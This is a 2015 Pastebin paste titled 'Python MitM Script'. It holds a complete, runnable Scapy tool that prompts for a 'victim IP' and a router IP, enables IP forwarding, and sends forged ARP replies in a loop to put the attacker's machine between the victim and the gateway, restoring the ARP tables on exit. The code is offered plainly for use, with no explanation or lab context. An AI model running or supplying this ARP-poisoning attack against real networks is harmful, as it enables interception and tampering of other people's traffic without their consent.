Advertisement
Guest User

Python MitM Script

a guest
Jul 30th, 2015
8,106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.80 KB | None | 0 0
  1. from scapy.all import *
  2. import sys
  3. import os
  4. import time
  5.  
  6. try:
  7.     interface = raw_input("[*] Enter Desired Interface: ")
  8.     victimIP = raw_input("[*] Enter Victim IP: ")
  9.     gateIP = raw_input("[*] Enter Router IP: ")
  10. except KeyboardInterrupt:
  11.     print "\n[*] User Requested Shutdown"
  12.     print "[*] Exiting..."
  13.     sys.exit(1)
  14.  
  15. print "\n[*] Enabling IP Forwarding...\n"
  16. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  17.  
  18. def get_mac(IP):
  19.     conf.verb = 0
  20.     ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1)
  21.     for snd,rcv in ans:
  22.         return rcv.sprintf(r"%Ether.src%")
  23.  
  24. def reARP():
  25.    
  26.     print "\n[*] Restoring Targets..."
  27.     victimMAC = get_mac(victimIP)
  28.     gateMAC = get_mac(gateIP)
  29.     send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
  30.     send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateMAC), count = 7)
  31.     print "[*] Disabling IP Forwarding..."
  32.     os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
  33.     print "[*] Shutting Down..."
  34.     sys.exit(1)
  35.  
  36. def trick(gm, vm):
  37.     send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst= vm))
  38.     send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm))
  39.  
  40. def mitm():
  41.     try:
  42.         victimMAC = get_mac(victimIP)
  43.     except Exception:
  44.         os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")    
  45.         print "[!] Couldn't Find Victim MAC Address"
  46.         print "[!] Exiting..."
  47.         sys.exit(1)
  48.     try:
  49.         gateMAC = get_mac(gateIP)
  50.     except Exception:
  51.         os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")    
  52.         print "[!] Couldn't Find Gateway MAC Address"
  53.         print "[!] Exiting..."
  54.         sys.exit(1)
  55.     print "[*] Poisoning Targets..."   
  56.     while 1:
  57.         try:
  58.             trick(gateMAC, victimMAC)
  59.             time.sleep(1.5)
  60.         except KeyboardInterrupt:
  61.             reARP()
  62.             break
  63. mitm()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement